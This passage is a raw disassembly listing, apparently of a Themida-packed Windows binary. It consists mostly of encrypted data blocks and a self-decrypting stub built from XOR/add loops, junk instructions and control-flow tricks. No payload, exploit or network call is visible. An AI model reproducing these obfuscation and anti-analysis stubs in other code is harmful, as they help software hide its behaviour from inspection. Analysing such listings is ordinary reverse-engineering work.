dd 6FDEA29Fh, 61A52918h, 5964BC0Dh, 0B7FF765h, 9CC3941Dh
dd 9412D2A6h, 0D1AE761h, 4BE21697h, 7188CD23h, 0AB457084h
dd 1F0D6h, 33BD3E00h, 941DCFBBh, 0C64B00C3h, 6D6B1E41h
dd 3E7EA892h, 0EB1AC05Fh, 9187A198h, 0D5DEBCA4h, 0D04806F8h
dd 40050CCDh, 38D3237h, 2F66B96Ch, 21E67B95h, 0E000000h
dd 9F710E6Fh, 1D5829BDh, 0EDD5C394h, 4A878E7Fh, 47BDA69Ch
dd 18FED3DEh, 3FC8857Bh, 50000000h, 9F710E6Fh, 94450BDh
dd 4B3FB785h, 0DCC3941Dh, 8A6482E6h, 941D6362h, 0F1481C3h
dd 0CD0A4E32h, 25C5B3EFh, 1992BCF7h, 778273F9h, 0BDB6AC5Ah
dd 0FED3DE47h, 4550BD18h, 0A24C8074h, 2BA7080Eh, 0B204A3B8h
dd 638C576Eh, 0C4313B16h, 9C6781BCh, 0DD162973h, 5B404D97h
dd 0B31C734Eh, 0F7986B66h, 18958F9Ch, 0B4ABA6F3h, 0F2961EA8h
dd 75835B84h, 196AE30Dh, 0D226272Ch, 5B847E0Fh, 618BCF83h
dd 0D98C6EB4h, 3B3AEBA3h, 0B5897D51h, 5E98C89Bh, 605DA64Fh
dd 0C3FE0BFAh, 0F6ED1B7Fh, 0B23AF309h, 835B13D6h, 0DF0D6159h
dd 0ACD5F060h, 0D6707A19h, 2873E872h, 0FC278457h, 572590BEh
dd 6EFFE3Ah, 0F710C3F2h, 3B4597A2h, 5B30D7B3h, 0C4625883h
dd 1BCED233h, 835B306Ah, 0D5549FE3h, 98ED1293h, 0B0C54AADh
dd 47194E85h, 0FD22A3E1h, 0D5BA9DA8h, 917EF5C0h, 0E9BFB48Bh
dd 5160B667h, 0BF0FDB7h, 74ECC3FEh, 6F8D5DEh, 0A6FBCA4h
dd 0D0489375h, 40050CCDh, 2F2537h, 6FC30000h, 0BD93750Ah
dd 941D5829h, 0BEDD5C3h, 0DA133BDh, 0C3941D79h, 0E45AF4CEh
dd 9C9F1EBDh, 7DF10635h, 1E2B7AD3h, 0C8857BB8h, 3Bh, 0E00A6F50h
dd 0F2D6BA97h, 29BD389Eh, 0C3941D58h, 0BDA71979h, 790DA133h
dd 0CEC3941Dh, 0DEE45AF4h, 7B04FAD7h, 36F104F1h, 941DCABEh
dd 1655DC3h, 0DBE59BDh, 7BD69F1Bh, 0A705FB15h, 0C3941E99h
dd 58E7DE24h, 10A551FFh, 940B6F71h, 0FFFFFDB8h, 1D27A73Ch
dd 96C5C394h, 4EEF2ACDh, 0B93BD74h, 377E0E72h, 0D1731D36h
dd 0C3078BC6h, 9DE97DEFh, 12C394C7h, 0FE2F3428h, 0A03945B3h
dd 2F6CDD5h, 0C72D31CEh, 3F2785Ch, 2C74C5F4h, 0C913F711h
dd 9FDC8DCh, 73E4435h, 25B15FB3h, 0C3947BA1h, 1DE1DC28h
dd 0E46859ACh, 0D0AA3B79h, 0B95E6F25h, 638C576Ah, 88372514h
dd 0D5E2C3DAh, 447B8101h, 8EB89CF0h, 6FF089D5h, 0FEA519Bh
dd 0EE9DBDC8h, 97AA3AD4h, 0B281C1DAh, 0FC2DE7E6h, 0C2EFE9EFh
dd 78BC6D3h, 0FA5C25C3h, 0CC000001h, 0F65E2A42h, 7CD17E3Dh
dd 52B61A27h, 0BD6AD07Eh, 0DB754850h, 941D7A0Bh, 2B304CC3h
dd 2CB4ADC1h, 0B189BD9Fh, 1B3645A2h, 0E4D524D1h, 17C64Ah
dd 899C4D31h, 0C8D4D4B8h, 54C26868h, 64588E21h, 0E4BB7EF6h
dd 360C446Bh, 68759939h, 9768DA8Ch, 0DAAh, 1AD9F002h, 0B4AF9AEDh
dd 0E271485Bh, 1DC6FD05h, 4E95A8F0h, 0F70DE0F7h, 0A5FA2BC8h
dd 5AAA5B98h, 217F063h, 0DDF2C37h, 853EED99h, 2D9362C5h
dd 14F8D5DEh, 69F38814h, 8526A7C5h, 8D228BDh, 0A0B38E9Dh
dd 8B903447h, 83BEC7B6h, 2172DBAFh, 3448A014h, 21B33D2Fh
dd 7AF4F98Dh, 0DA744E3Ah, 71C2AB0Ah, 0B1BE8444h, 8C6E5753h
dd 3715EA58h, 9100000Dh, 78954E85h, 26C71C2Dh, 907DE6DBh
dd 7FA84B8Ah, 7AD91A25h, 0BD809873h, 0D3049A6h, 0D0EF39D6h
dd 0A491E203h, 169E52BFh, 0C5853972h, 0DE9E06F5h, 0CD72F8D5h
dd 0AF643850h, 0D8ACC05Eh, 0AFC394CFh, 41E5776Bh, 0C394CF05h
dd 0B296B08Ah, 0D319227Ah, 9E2B225Bh, 9547BBBDh, 0B3E7E30Bh
dd 12683A61h, 3F7B9DE5h, 6D9B854Ch, 3D081D8Ah, 0E9247826h
dd 61B10145h, 58BC863Ah, 8A471A92h, 6BF54470h, 945C69BAh
dd 307088F0h, 66E50377h, 51BCCE1Ch, 6FDE0847h, 0D9362D1Ch
dd 0B865F7CAh, 95E95D60h, 1645977Bh, 85ECECC8h, 0CB42ECD6h
dd 2D3F83BEh, 327F0BA3h, 8AF03070h, 273C405Ch, 5ABCC835h
dd 0E397E44Dh, 103E1267h, 2967D65Eh, 0F2C84E7Bh, 793D9975h
dd 0E758AA92h, 0C5Ah, 4AA9A0F2h, 0E47F4A5Dh, 12C1F80Bh
dd 4D96ADF5h, 0FE6558A0h, 0A7FD1047h, 55AA5B98h, 0A1A8B68h
dd 0B2C72033h, 0BDAF5C87h, 85385D29h, 0FD63D2C5h, 14F8D5DEh
dd 69F38814h, 9F1B24C5h, 8251A9BDh, 67B21265h, 4EA2E66Ah
dd 0CB297895h, 8A15FCA7h, 469DF136h, 760D6FBEh, 1D6140E4h
dd 94EEBD9Fh, 91EB1A20h, 94F480AEh, 413A611Dh, 8FBE5253h
dd 0BA2C35F0h, 94h, 0FAD7DE42h, 0BA50A716h, 3F58CD8Ch
dd 0A0244835h, 27C394E5h, 379BFFD3h, 0BD013046h, 0FD891DAFh
dd 72C394E5h, 186FDE08h, 785C6DBCh, 5AE1BBFBh, 0E79D1C90h
dd 0B352BD9Fh, 0CEA44708h, 3F4BE30Ch, 0B03A617Ch, 0F572564Ah
dd 865CCAFBh, 8F7DD230h, 2900000Bh, 907DE6DDh, 7EAFB485h
dd 28C51E33h, 9770E3D2h, 12A1B28Dh, 0D5E830CBh, 0A598E10Eh
dd 84751BEh, 0DCE93AEBh, 0FE76FA07h, 0C585388Ah, 0DE36AE1Dh
dd 8570FAD7h, 93F75B76h, 5B03F275h, 0AD000000h, 1C6FD7DEh
dd 0F223C92Dh, 907896A3h, 0ED7F0498h, 6B62B263h, 0F185A3E7h
dd 0BD9F0424h, 44B6B189h, 7F865D54h, 0B24348Bh, 6ABC0000h
dd 10678053h, 0C6D53221h, 67BF688Bh, 166A9B58h, 668D342Fh
dd 91427D87h, 0C1122F74h, 7EE5D024h, 0AA498491h, 67638B61h
dd 0E8C5853Bh, 0D5DEA319h, 0B4C614F8h, 0B90D3049h, 1DF98D45h
dd 744EC394h, 0DD2673DAh, 941D3D49h, 5448B2C3h, 3D445986h
dd 8FA65890h, 0FB49E961h, 44C8F50Ah, 0EC4CC0DBh, 0E3C73BA8h
dd 0AE626345h, 32401E7Fh, 0E04850BDh, 0F841A598h, 0E92D91ACh
dd 234BA3Fh, 46420000h, 0D66D0F5Bh, 5A5E004h, 98C7BD9Fh
dd 8196940Ch, 139183BCh, 22C13EE8h
dd 61CACACAh, 0BB9CF02Fh, 0F7C538ABh, 55EE8E28h, 6F2A6F87h
dd 49F6BBC2h, 4B4FBA45h, 8F8CBAF7h, 10E4D9DEh, 0E674D83Ch
dd 39D7E237h, 0DE0C1765h, 7A59A14Ch, 4A8B296h, 0C3C52F40h
dd 8155F3C7h, 0BDC8E0D9h, 0FFE6C56h, 0FB14CFFAh, 985493AEh
dd 67860F77h, 0A302CE3h, 7E880000h, 24739C47h, 0D221CE15h
dd 738B64FFh, 2276974Ch, 6A71C013h, 0ADB68993h, 0DD063B40h
dd 0AE9E430h, 0A6BD889Dh, 6B1F9755h, 0FCC5853Ah, 0D7DE970Dh
dd 861616FAh, 6CC76FFDh, 0FDBD8526h, 51A65785h, 0F776129Ah
dd 14F93A7Ah, 0A4E320Fh, 0C4213216h, 0EE0417BFh, 3B109FBh
dd 0B2067A38h, 66F07A5Eh, 7AE7BACEh, 1B350D3Ah, 9EA5F737h
dd 255D84Ch, 16874470h, 0B4F3302h, 0A6407D82h, 1A8B51A9h
dd 0CA3B3805h, 550488B5h, 1CFA7540h, 0DF8C6E56h, 998946Bh
dd 0E6300000h, 8C9B74EFh, 3A49A6BDh, 0EB33DC07h, 9A9E0FD4h
dd 0D219B8BBh, 5DEE13Bh, 0B5AE93E8h, 0E2714C58h, 1EC5F005h
dd 93F77FEDh, 14C5853Ah, 0D5A13FA5h, 0C3941DB9h, 394FF700h
dd 6246BA0Eh, 0EBD62F9Eh, 0FA0B2D67h, 0AE3F7580h, 5AE1BBFBh
dd 0F8911C90h, 0DACBBD9Eh, 0F14EF8C5h, 6AD16389h, 9D99EA2Bh
dd 0E60EDC0Dh, 3A605EE2h, 1AF31D65h, 7521320Fh, 0BCCE1C27h
dd 605E5C28h, 41EFD33Ah, 3A7E07AFh, 10A2446Dh, 7280E89Ch
dd 0ED1B7F30h, 0AD76816Eh, 72804D39h, 84F8C230h, 6CD0EF35h
dd 0F7263428h, 0A34C97A2h, 2CEC7B56h, 0A38C6B8Fh, 8E4E0A7h
dd 2A7C0000h, 0D027C013h, 869572E1h, 277FA84Bh, 0D62ADB18h
dd 0A6CD74EFh, 0D1023D47h, 1D2EF34h, 0BEA590E4h, 0EA094451h
dd 27A3CB21h, 0A8C58535h, 27A763D9h, 0A6C3941Dh, 68FA605Dh
dd 941D80C4h, 0C2F109C3h, 0BE839875h, 248CBD5Ah, 0F7DE7000h
dd 0BCC09E59h, 2AD5EC32h, 9FA40CAh, 0C6140827h, 9E1F09AEh
dd 0DA007ABDh, 71E2DD2Bh, 0C1B58094h, 8710Eh, 50BD9600h
dd 0C3DB7548h, 34B8A2B9h, 0BD9F2C3Dh, 9022C832h, 60F1681Ch
dd 6D9BFF3Ah, 0F13D4DE5h, 0C8E83A60h, 0DD26C73Dh, 92032C35h
dd 0ED000001h, 0BFFD6DEh, 0FA605DA2h, 7DC1F80Bh, 0D11BEF19h
dd 12E6D324h, 2440A0E5h, 1656B1Eh, 0FB1D66E7h, 6068DC3Ch
dd 4993F759h, 188C475Ch, 0C394B26Ch, 0D7BB9FE3h, 0CFD55F3h
dd 854258F8h, 94B26561h, 0BC90EAC3h, 0F205F4C8h, 3B1F73C7h
dd 8EB9CF38h, 839CE23Ah, 0B2C9D559h, 0E213C394h, 8C8BA59Ch
dd 5D57C2B6h, 625DAB50h, 2D5143F8h, 24D3EE3Dh, 0B6A4B45Dh
dd 946C4A3Eh, 4BE5DDC3h, 1E297FA8h, 2275A0AAh, 256DF917h
dd 0D8C3946Dh, 0D024CDD8h, 0A1152870h, 6D77139Bh, 82F8C394h
dd 1FA94AAEh, 0DCE53AA0h, 0A35FF8C9h, 7844E223h, 22D31926h
dd 3216FAD7h, 93C85A14h, 0EF747638h, 6CF8165Eh, 0C3940F10h
dd 1D2F93E7h, 24A8A1F0h, 0BEC746E0h, 0F95F175h, 201AC394h
dd 269517CCh, 12B61A0Eh, 0A9F84178h, 3EE82C90h, 1A1EB6CFh
dd 1F73573Bh, 84B1C2ABh, 56470530h, 0D0D27C41h, 0FE104FD5h
dd 0A9E1B646h, 61FEE18h, 0B6CF383Bh, 95E7078Bh, 0A1C85C8Eh
dd 73BD9F96h, 0BA394DE1h, 0B48E3A61h, 9E45BD9Ah, 0A1152871h
dd 65BF3549h, 70F4665Ah, 3A61BA18h, 6EDFA397h, 0F6A72B2Ah
dd 22289CA1h, 61BAFE8Ah, 3409713Ah, 90ADE1ECh, 176C9510h
dd 2DBFC92Ah, 4898B1C0h, 3A61BA3Ch, 0ACA14FB3h, 17A2B157h
dd 0D446A51Ah, 3A9AEE06h, 156D3A61h, 4F2D4D31h, 0C38E2634h
dd 19446A0Eh, 0C63678Fh, 9EE4307Eh, 0B4AF9370h, 0E47F425Bh
dd 11C2FD0Bh, 760D6FE3h, 345D40E4h, 0E8D2BD9Fh, 5762B564h
dd 0A6F748Ch, 21A18175h, 0F4C3941Dh, 42EB21ACh, 6F3240F1h
dd 2Dh, 0E81E5EFDh, 0DB779CB6h, 0D7DE372Dh, 0AADE16FAh
dd 7FC3941Dh, 0F520A825h, 0EF2397A2h, 88B9CC41h, 0FEC3C36Bh
dd 70D7C393h, 0FFFFFFBEh, 0F8D5DE98h, 6F65DB06h, 0B493750Ah
dd 50CCD4Ch, 0A0323740h, 941D780Ch, 9FB2C1C0h, 552CDA20h
dd 34h, 750A6FB3h, 5D29BD93h, 0D2C3941Dh, 50BD76E8h, 4C807445h
dd 0B2BD32B3h, 0C866BEFFh, 0D7DEE026h, 0A428176Fh, 7BAA0C60h
dd 66C885h, 0F9240000h, 8C729CA3h, 0CFBB33BDh, 0C3941Dh
dd 0E2DB2001h, 54AE29B0h, 8097E2BAh, 625DAB5Ah, 968CBA9Eh
dd 0E04850BDh, 0F544B891h, 0F37DABA6h, 941D0F7Bh, 0CB63EDC3h
dd 0C3941DBFh, 931CCA30h, 47BD9177h, 0B4A50BDh, 0AC5A7782h
dd 857B56A1h, 0CFBB33BDh, 4EC3941Dh, 47BB0F46h, 4F7582F8h
dd 63859508h, 0B85E52FCh, 0AFED3DEh, 941DAEDAh, 0A42163C3h
dd 0ABA6F11Ch, 4881907Dh, 172A73A2h, 4EE87EF9h, 4CC39421h
dd 6BEFACD8h, 0FBDF233Ch, 0FFF44F04h, 0D7DEACFFh, 5F3D79FAh
dd 0F79E16C4h, 48BD9F24h, 26A68E72h, 0F33A60E8h, 3DEC24A1h
dd 32C3502h, 182886DCh, 764A3E03h, 6CA50DC9h, 143FC2h
dd 0C8D90000h, 0Eh, 1D6B9A24h, 1DA62222h, 0D129C394h, 1EBDC137h
dd 4FE7E2D2h, 0C3947F3Bh, 7589B68Ch, 0EF358416h, 0FE286CD0h
dd 9745DEBEh, 0B28F9805h, 7301C094h, 51E3BD9Fh, 6150A9DDh
dd 75C43E3Ah, 1CFB1520h, 0BF873426h, 0EDBD0564h, 77262AC4h
dd 5CC21120h, 3A619955h, 0BEA590E4h, 0E2084751h, 0D7F2057Dh
dd 8BA5DE36h, 1C06B587h, 379CA097h, 3E0B1AE3h, 32C9A510h
dd 0B05DE7E6h, 37E66A67h, 2E62D6E1h, 0E7311CCAh, 899A0BE8h
dd 24A6224Ah, 0D1293A61h, 8C9976FDh, 0A0F2B2B1h, 0BABFC25h
dd 0F6E9CDFCh, 0BB33BD1Eh, 0C3941DCFh, 52CC7A40h, 31C004BBh
dd 0D496h, 0F6F7E00h, 0D458EA70h, 0C3941DB0h, 2B7AC337h
dd 0B856AA1Eh, 5829BD42h, 79C3941Dh, 33BB788Ch, 0C3941D57h
dd 0AA8EE2D8h, 0C233BD34h, 0DC3084B1h, 7A75CC32h, 6DD5DE82h
dd 20CA2E15h, 0F305AFF5h, 381C70C4h, 65DB280Eh, 9D4150BDh
dd 0AD5BBF8Ah, 11F78811h, 0CCD4CB4h, 25374005h, 3Eh, 0C58125B7h
dd 4AC0941Dh, 40A493E5h, 0A6FB0A6h, 50BD9375h, 0B990E34Bh
dd 91ACF445h, 0AD3FE92Dh, 941D4D39h, 6F8C2C3h, 0D7DE47BDh
dd 1DEC980Ch, 1F63C394h, 857B453Bh, 32C8h, 0A6F5000h, 0A855E775h
dd 0BA9E625Fh, 941DDEAAh, 0BF6951C3h, 5D29BD59h, 7EC3941Dh
dd 0C74B8691h, 0BDC9AF83h, 6FD7DE47h, 4479BE16h, 44B89CF0h
dd 0C8857BE2h, 0FFFFFF19h, 0EF1EBD50h, 4BFA573h, 0BF033E4Bh
dd 8F96675Bh, 6CB994B2h, 0EB3CED51h, 435905DEh, 37BA3238h
dd 65BD9F7Ch, 88526FB8h, 61426064h, 7593E73Ah, 1BEAC96h
dd 62CE86D6h, 0E3388138h, 0F8166ADEh, 5D95CA10h, 8EFA7239h
dd 13A612Ah, 18E51E39h, 1272022Ch, 0C73A6109h, 1138D0DDh
dd 382C3521h, 50h, 4150BDC4h, 1D1276FEh, 0AD95C394h, 7D1F9F49h
dd 75EA74E6h, 659E1B1Eh, 0F282AC36h, 0BD9FF743h, 0C262D62Ch
dd 3A61D582h, 75D9F003h, 0FC407184h, 7D119C96h, 47CDD8D8h
dd 0C7BA018h, 0E20CF4E5h, 3608D178h, 0F63EEF2Ch, 0ACA831DFh
dd 0B4000000h, 14F8D5DEh, 9C605FA5h, 19EDD82Dh, 0A9FF67B0h
dd 4D62A9Eh, 941DE4E0h, 33176BC3h, 1982BE20h, 8E9BC394h
dd 3247A0B3h, 217BB307h, 6B4F7A8Fh, 0D6846D81h, 1794260h
dd 63F884D2h, 629475F9h, 0EA74446Dh, 73280642h, 97B18930h
dd 6D9842B8h, 0DACB2817h, 28156AC6h, 0F7073B34h, 262C8C6Ah
dd 2A161h, 0D0EF3B00h, 0A693E203h, 84150BDh, 0DDE43AEBh
dd 0AC93E906h, 2D900B7h
dd 0F31CC7FEh, 0A34C97AAh, 0CF97A55h, 0E415CEFBh, 33E4E004h
dd 9C6BC585h, 0FBDADE24h, 0B47F8471h, 941D5430h, 83E7DBC3h
dd 10658265h, 6FC63E25h, 40E4760Dh, 0BD9F05D1h, 7F6645Eh
dd 1A7EC2FDh, 0BCCC64ECh, 693A60CBh, 0A436BA4Bh, 60CB4400h
dd 59F7CB3Ah, 35C746E7h, 0F5632Ch, 0DE8D0000h, 0A514F8D5h
dd 549C605Fh, 0C3941978h, 5399B4C1h, 0F51809ECh, 0E327ABA6h
dd 9BD65C54h, 81D8A6Dh, 0D4B02F3Dh, 59641080h, 85E56D9Bh
dd 90AFF9F7h, 0D731AEBCh, 0E886D543h, 0E677DE26h, 0A498C381h
dd 0A54CE08Ah, 1A426040h, 0B7FE66B5h, 0FED2369Ah, 7F1D599Ah
dd 0ECFE76E4h, 7F446DDAh, 0C0B4898Eh, 1D42A88Ch, 15413C4Bh
dd 30BA5446h, 5A80BFC5h, 996D5CABh, 64E8E130h, 4122CC20h
dd 5531B5C7h, 0DA3072F9h, 0BDC746E0h, 0DF330E17h, 6B47E410h
dd 583F0B8Ch, 192h, 72E1D82Ah, 0ACB78295h, 0DA193043h
dd 75EED52Dh, 0A6BD8098h, 0EF35C81Fh, 9DE203D0h, 4252B3A0h
dd 0EA3FE80Bh, 75F704DFh, 853295F1h, 35AB1AC5h, 98A31EBDh
dd 88F49014h, 77BC394h, 0BC403DF8h, 5E61BB92h, 5D2F8Ch
dd 0FA267B57h, 297AAB4Ch, 560642EAh, 0B189C394h, 0DE7E865Dh
dd 0A514F8D5h, 48F76550h, 989EA236h, 0BE39D747h, 84719CE0h
dd 0C682427Fh, 49C39438h, 90CF1D71h, 3E2E6C96h, 0E983AD03h
dd 2D59CD5Fh, 0A2C3941Bh, 95A8F158h, 0B343ED21h, 0BD9EFE2Eh
dd 0C4313B1Fh, 88FC70B3h, 1F3A60FCh, 0F31CC73Bh, 3741ABA6h
dd 60FCCBBFh, 0C8665C3Ah, 39542840h, 60FCD1B5h, 86C563Ah
dd 0C8D94AE2h, 28124471h, 6E601FDFh, 8146CC8Ch, 0BEh, 2E350C16h
dd 589BB6C1h, 0F66D5CAFh, 21320119h, 5281BCC4h, 1B61FCE3h
dd 0C9CE3F24h, 76BE6FF4h, 1E6B845Fh, 21CB3023h, 852DF98Dh
dd 19FF4EC5h, 0E4760D6Fh, 85263B40h, 0FA4EB4BDh, 3A4EE670h
dd 8D3A7AF4h, 61B29BB5h, 0F0748654h, 3A7AF494h, 6E09271Bh
dd 0D7EA33E2h, 0F6C3D439h, 6AE3802h, 3A7AF442h, 0C042FDC5h
dd 63B61CD8h, 9343133Dh, 8BB57CA3h, 6954AC59h, 90CF7AE5h
dd 9F2150DDh, 0F7CED2BBh, 0A94E5F59h, 15F2615Ch, 0B8273500h
dd 0E47C5030h, 0D05237Bh, 8B7F465Ch, 729B2A6Eh, 0DECF1421h
dd 0B4AF23D5h, 89D8ACC0h, 6BAF4173h, 67D808ACh, 3D8BF03h
dd 60000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
dd 50CF7BCFh, 4055854h, 83000000h, 48704E8h, 0DB685C24h
dd 89000029h, 3368241Ch, 8900005Eh, 0EC812414h, 4, 0B8240489h
dd 3C640977h, 14439705h, 5ACC3577h, 0C389B569h, 148B5458h
dd 4C48324h, 0F2BB5350h, 0B8738D4Dh, 738D4DFAh, 15BD829h
dd 581889D0h, 5A2434FFh, 0FF04C483h, 815B2434h, 4C4h, 4D21E900h
dd 0D30DFFFAh, 10296676h, 0CDB944CBh, 0ABB8F4F0h, 3061131h
dd 85C650C5h, 60B2845h, 17256847h, 0B5FFCF38h, 60B0B01h
dd 390D858Dh, 0D0FF060Bh, 858DD88Bh, 60B24BDh, 1046850h
dd 0D3FF0000h, 284585C6h, 6853060Bh, 8307F8BFh, 0B01B5FFh
dd 858D060Bh, 60B390Dh, 8589D0FFh, 61115A3h, 2715BD83h
dd 0F00060Bh, 0B84h, 0A59D8B00h, 0E9060B21h, 5, 0BBh, 1006800h
dd 0B58D0000h, 61115A7h, 95FF5356h, 60B0071h, 15A7B58Dh
dd 0F0030611h, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh
dd 0FFFFFFEDh, 8D0006C6h, 1115A785h, 95FF5006h, 61115A3h
dd 4BE0FF58h, 907E8661h, 0EC2A9EAAh, 1F4EB405h, 0A249F462h
dd 0D9526194h, 0D02E5206h, 954CA4F4h, 0DB0F423Ch, 8D455103h
dd 8D13E367h, 1133738Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 0E9FD14Ch, 0CB816602h
dd 8D89CC23h, 60B174Dh, 8A5B529h, 85C7060Bh, 60B0119h
dd 60F4h, 4860Fh, 0BF660000h, 85C74AFCh, 60B1009h, 0
; ---------------------------------------------------------------------------
and eax, 20D1EA8Dh
push dword ptr [ebp+60B1ADDh]
sub eax, 2EBFCB8Ch
call dword ptr [ebp+60B0AC5h]
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_59F44B
; ---------------------------------------------------------------------------
dd 0FFA63F3Ch, 0F8407E56h, 6AEEACA2h, 5E8C46B7h, 447F7BB2h
dd 887ECE7Dh, 0F38389B4h, 0CFD19C19h, 135270BDh, 0C600A4E7h
dd 0B9040A6h
; ---------------------------------------------------------------------------
mov fs, word ptr [esi+ecx*8]
loc_59F44B: ; CODE XREF: Themida_:0059F41Aj
call sub_59F45A
; ---------------------------------------------------------------------------
dd 0D1503E8Eh, 7631F31Bh
db 0C4h, 34h
; =============== S U B R O U T I N E =======================================
sub_59F45A proc near ; CODE XREF: Themida_:loc_59F44Bp
add eax, 3C227977h
pop ebx
or eax, 6A4659CAh
add ebx, 724Ah
xor ecx, ecx
cmc
loc_59F470: ; CODE XREF: sub_59F45A:loc_59F4F0j
mov edi, [ebx+ecx]
adc eax, 31057E8Eh
xor edi, 2E8D4308h
add ax, 103Fh
xor edi, 6B3D8CDDh
sub ax, 0EB6Fh
xor edi, 49A6FF4Fh
xor [ebp+60B0671h], esi
mov [ebx+ecx], edi
jp loc_59F4AC
pusha
mov [ebp+60B0AD1h], eax
popa
loc_59F4AC: ; CODE XREF: sub_59F45A+44j
mov dx, bx
sub ecx, 10B873B1h
cld
add ecx, 10B873ADh
clc
cmp ecx, 0FFFF8E68h
jnz loc_59F4E7
push ebx
mov eax, 25C397C0h
pop eax
jmp loc_59F506
; ---------------------------------------------------------------------------
db 4Ah, 91h, 0E4h
dd 2DA9DA9Dh, 75278022h, 0F52F6BACh
; ---------------------------------------------------------------------------
cmc
retn
; ---------------------------------------------------------------------------
db 14h
; ---------------------------------------------------------------------------
loc_59F4E7: ; CODE XREF: sub_59F45A+69j
jb loc_59F4F0
push ecx
clc
pop edx
loc_59F4F0: ; CODE XREF: sub_59F45A:loc_59F4E7j
jmp loc_59F470
; ---------------------------------------------------------------------------
db 16h, 0F6h, 11h
dd 0DBE6EACEh, 0F5C00FE4h, 0D1102FA0h
db 5Bh, 0D8h
; ---------------------------------------------------------------------------
loc_59F506: ; CODE XREF: sub_59F45A+76j
call near ptr sub_59F51B
aaa
mov al, ds:7341B011h
and edi, ebx
ja short loc_59F552
setalc
rep xor byte ptr [ecx-21h], 47h
sub_59F45A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59F51B proc far ; CODE XREF: sub_59F45A:loc_59F506p
mov [ebp+60B03D5h], ecx
pop eax
sbb dx, 78BDh
add eax, 6F33h
mov [ebp+60B0F9Dh], ecx
sub edi, edi
pusha
jmp loc_59F54C
; ---------------------------------------------------------------------------
db 0Ah
dd 7AC51402h, 5256ABE6h, 0CD5499C9h, 0E67762DDh
; ---------------------------------------------------------------------------
loc_59F54C: ; CODE XREF: sub_59F51B+1Bj
sub edx, [ebp+60B27D1h]
loc_59F552: ; CODE XREF: sub_59F45A+B9j
popa
loc_59F553: ; CODE XREF: sub_59F51B+88j
mov ebx, [eax+edi]
add ebx, 1AA16DBBh
mov esi, edi
sub ebx, 557E9913h
jmp loc_59F57D
; ---------------------------------------------------------------------------
db 7Ch, 8Bh, 0Bh
dd 67489FBBh, 48D63052h, 8EB1E864h, 414DD3F2h
db 66h
; ---------------------------------------------------------------------------
loc_59F57D: ; CODE XREF: sub_59F51B+49j
add ebx, 5A4B2CBEh
jp loc_59F58A
clc
loc_59F58A: ; CODE XREF: sub_59F51B+68j
mov [eax+edi], ebx
adc edx, 0E8F1357h
mov [ebp+60B0D3Dh], eax
sub edi, 4
cmc
cmp edi, 0FFFF917Ch
jnz loc_59F553
jmp loc_59F5BE
; ---------------------------------------------------------------------------
dw 912Eh
; ---------------------------------------------------------------------------
inc eax
xchg eax, ebp
dec ebx
cmp dl, [ebp-2Bh]
aaa
retf 41F1h
; ---------------------------------------------------------------------------
and cl, [eax+ebp]
lahf
loc_59F5BE: ; CODE XREF: sub_59F51B+8Ej
call near ptr sub_59F5CF
lodsb
or eax, 4E0A607Bh
push ds
db 65h
aaa
pop edx
lodsb
inc esi
sub_59F51B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59F5CF proc far ; CODE XREF: sub_59F51B:loc_59F5BEp
mov [ebp+60B151Dh], esi
pop edx
pusha
mov eax, 14346EA7h
mov [ebp+60B16ADh], edx
popa
add edx, 6BD6h
or eax, 6B495F1Fh
mov ebx, 1AC4h
pusha
mov ecx, [ebp+60B0031h]
mov [ebp+60B2E65h], edx
popa
loc_59F602: ; CODE XREF: sub_59F5CF+AAj
mov ecx, [edx]
mov eax, 40047A2Dh
sub ecx, 6C566995h
pusha
mov esi, [ebp+60B0AB1h]
cmc
popa
xor ecx, 37D46AB2h
mov [ebp+60B1631h], edi
add ecx, 753AFA0h
sub [ebp+60B328Dh], eax
push ecx
mov [ebp+60B2A71h], edi
pop dword ptr [edx]
or [ebp+60B0619h], ebx
sub edx, 4
mov ax, cx
sub ebx, 1
jnz loc_59F66B
mov di, dx
jmp loc_59F68D
; ---------------------------------------------------------------------------
adc [ebx+54h], edi
mov bh, 0
push ebx
retf 0B785h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 6Dh
dd 7BCFFFD5h
db 0BAh, 53h, 24h
; ---------------------------------------------------------------------------
loc_59F66B: ; CODE XREF: sub_59F5CF+7Cj
pusha
sub [ebp+60B0BA1h], edx
xor [ebp+60B22FDh], edi
popa
jmp loc_59F602
; ---------------------------------------------------------------------------
dw 39DDh
dd 0FEC251DBh, 86D6B6EAh, 97C1AD84h
db 0F3h
; ---------------------------------------------------------------------------
loc_59F68D: ; CODE XREF: sub_59F5CF+85j
lea ecx, [ebp+61136BFh]
push 0
push edx
call sub_59F69E
and [edx-3Dh], bl
sub_59F5CF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_59F69E proc near ; CODE XREF: sub_59F5CF+C7p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_59F69E endp
; ---------------------------------------------------------------------------
dw 2AC5h
dd 3DB589E5h, 89060B33h, 0B174D8Dh, 0DE806h, 0A1380000h
dd 0A8040540h, 0D04842F9h, 8BA9C22Ah, 0B080985h, 0BD8B5E06h
dd 60B025Dh, 11985C7h, 6410060Bh, 858B0000h, 60B0739h
dd 3F63B7BAh, 985C71Bh, 60B10h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0E893C357h
dd 11h, 2EFFEEBBh, 633A612Dh, 371244CEh, 39F19231h, 9ABF66C7h
dd 0B5FF5ABCh, 60B2355h, 2C90BF60h, 8E82B71h, 9D000000h
dd 34C82D1Fh, 80968DBEh, 6159CFE4h, 0AC595FFh, 958B060Bh
dd 60B1169h, 95FF006Ah, 60B32DDh, 0FEBC08Bh, 5B603283h
dd 1E30AAB9h, 3C270157h, 0EB7DADC8h, 0B61B9026h, 8EAFEC33h
dd 64746E55h, 642E6C6Ch, 88006C6Ch, 34074621h, 55A3D25Dh
dd 50EF50h, 0
dd 0E9000000h, 687h, 11385768h, 482DE906h, 0F668FFFAh
